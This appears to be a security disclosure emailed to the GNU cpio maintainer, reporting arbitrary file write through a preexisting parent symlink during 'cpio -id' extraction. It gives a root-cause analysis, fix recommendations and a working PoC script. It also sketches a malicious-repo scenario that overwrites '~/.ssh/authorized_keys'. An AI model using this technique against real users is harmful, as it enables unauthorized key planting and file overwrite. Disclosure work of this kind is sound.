Dear GNU cpio maintainer: Hello, I have identified a vulnerability in GNU cpio 2.15(latest on 23/04/2026). This vulnerability may allow a normal file entry in the cpio archive is written through one symlink controlled by an attacker.
The attachment contains an attack scenario, details of the vulnerability,
proof-of-concept, impacts, and fix recommendations for the vulnerability.
You may also read the plain-text version below.
-----------------------------------------------------
Below is the markdown version of the vulnerability
-----------------------------------------------------
# GNU cpio 2.15 — Arbitrary File Write via Preexisting Parent Symlink
During Extraction
GNU cpio extracts into the current working directory. If an attacker can
prepare the destination state so that a parent path component is a symlink
to a location outside the intended extraction directory, a normal file
entry in the archive is written through that symlink.
One realistic attack scenario is a “malicious repo / template project” that
includes a symlinked output subdirectory and an archive that looks harmless
(no `../` traversal needed):
```
repo/
|-- out/
| `-- a -> ~/.ssh/ (preexisting symlink; attacker-controlled repo
content)
|-- payload.cpio (attacker-controlled archive)
```
Victim workflow:
1. Victim follows README instructions to “extract into `out/`”.
2. Victim runs: `cd out && cpio -id < ../payload.cpio`
If `payload.cpio` contains a normal entry like `a/authorized_keys`, cpio
can end up creating or overwriting `~/.ssh/authorized_keys` (within the
victim’s permissions). The archive does not need path traversal strings;
the escape happens because the destination path resolution follows a
preexisting symlink.
## 0. Environment
- Target: `cpio` (GNU cpio copy-in mode: `cpio -id`)
- Version: GNU cpio `2.15`, from `test_target/sources/cpio-latest.tar.gz`
(sha256 `efa50ef983137eefc0a02fdb51509d624b5e3295c980aa127ceee4183455499e`)
- Build (from repository root):
```bash
WORK=/tmp/unpfuzz-cpio-2.15
rm -rf "$WORK"
mkdir -p "$WORK"
tar -xf test_target/sources/cpio-latest.tar.gz -C "$WORK"
cd "$WORK"/cpio-2.15
mkdir -p build && cd build
../configure --disable-nls CFLAGS='-O2 -g -fcommon'
make -j"$(nproc)"
```
- Binary: `$WORK/cpio-2.15/build/src/cpio` (run PoC with `CPIO_BIN=...`)
## 1. Description
GNU cpio does not verify that already-existing parent components under the
extraction root are real directories before opening an extracted file.
If an attacker can prepare the destination state so that a parent path
component is a symlink to a location outside the extraction root, a normal
file entry in the archive is written through that symlink.
This behavior was **reproduced on GNU cpio 2.15** (sha256
`efa50ef983137eefc0a02fdb51509d624b5e3295c980aa127ceee4183455499e`).
Enabling `--no-absolute-filenames` does **not** mitigate this class because
the symlink already exists in the destination pre-state.
Relevant code:
- `src/copyin.c:1486` — member names are sanitized with
`cpio_safer_name_suffix(...)`.
- `src/copyin.c:476-484` — regular files are opened with
`open(file_hdr->c_name, O_CREAT | O_WRONLY | O_BINARY, 0600)`.
- `src/copyin.c:479-485` — missing directories may be created, but no
parent-component symlink rejection is performed.
## 2. Impact
If an attacker controls the extraction directory state, they can redirect
writes outside the intended extraction root.
Practical impact includes:
- overwriting files adjacent to the extraction directory;
- planting files into attacker-chosen sibling directories;
- turning cpio extraction into a write primitive in shared workspaces or
automated unpacking pipelines.
## 3. Reason / Root Cause
The code sanitizes the archive member name as a string, but it does not
constrain host filesystem resolution of preexisting path components.
The member `a/pwn.txt` looks harmless. However, if `a` already exists as `a
-> ../outside`, then `open("a/pwn.txt", ...)` follows that symlink and
creates `../outside/pwn.txt`.
This is a hostile-prestate path-resolution bug.
## 4. Proof-of-Concept
### 4.1 PoC file
- Runner: `poc.sh`
### 4.2 What the PoC does
The PoC:
1. Creates a minimal `newc` archive with one regular file entry:
`a/pwn.txt`.
2. Pre-creates `out/a -> ../outside`.
3. Extracts inside `out/`.
4. Verifies that `outside/pwn.txt` is created.
### 4.3 Expected result
Successful exploitation creates:
- `/tmp/unpfuzz_cpio_prest/outside/pwn.txt`
instead of keeping output under:
- `/tmp/unpfuzz_cpio_prest/out/`
## 5. Fix Recommendations
1. Reject existing symlink parent components before opening any output path.
2. Walk extraction paths relative to a trusted root directory descriptor
with `openat`-style APIs.
3. Prefer `openat2(..., RESOLVE_BENEATH | RESOLVE_NO_SYMLINKS)` where
available.
4. Add regression tests for preexisting parent symlink state, not only
archive-created symlinks.
## 6. Reproduction
>From the repository root:
```bash
CPIO_BIN=/path/to/cpio ./poc.sh
```
Below is the poc.sh
```shell
#!/usr/bin/env bash
set -euo pipefail
CPIO_BIN=${CPIO_BIN:-cpio}
if [[ "$CPIO_BIN" == */* ]]; then
if [[ ! -x "$CPIO_BIN" ]]; then
echo "error: CPIO_BIN is not executable: $CPIO_BIN" >&2
exit 1
fi
else
if ! command -v "$CPIO_BIN" >/dev/null 2>&1; then
echo "error: cpio is required" >&2
exit 1
fi
fi
base=/tmp/unpfuzz_cpio_prest
rm -rf "$base"
mkdir -p "$base/out" "$base/outside"
ln -s ../outside "$base/out/a"
python3 - <<'PY'
import time
base = "/tmp/unpfuzz_cpio_prest"
hdr_len = 110
def entry(name, mode, data=b"", ino=1, nlink=1):
name_bytes = name.encode() + b"\0"
namesz = len(name_bytes)
fields = [
ino, mode, 1000, 1000, nlink, int(time.time()),
len(data), 0, 0, 0, 0, namesz, 0,
]
header = ("070701" + "".join(f"{value:08x}" for value in
fields)).encode()
name_pad = b"\0" * ((4 - ((hdr_len + namesz) % 4)) % 4)
data_pad = b"\0" * ((4 - (len(data) % 4)) % 4)
return header + name_bytes + name_pad + data + data_pad
archive = b"".join([
entry("a/pwn.txt", 0o100600, b"PRESTATE\n", 2),
entry("TRAILER!!!", 0, b"", 3),
])
open(base + "/prestate.cpio", "wb").write(archive)
PY
(cd "$base/out" && "$CPIO_BIN" -id --quiet < "$base/prestate.cpio")
if [[ ! -f "$base/outside/pwn.txt" ]]; then
echo "[-] exploit failed: outside file was not created" >&2
find "$base" -maxdepth 3 -ls >&2
exit 1
fi
echo "[+] wrote through preexisting parent symlink"
cat "$base/outside/pwn.txt"
```
DETAIL-2.pdf
Description: Adobe PDF document
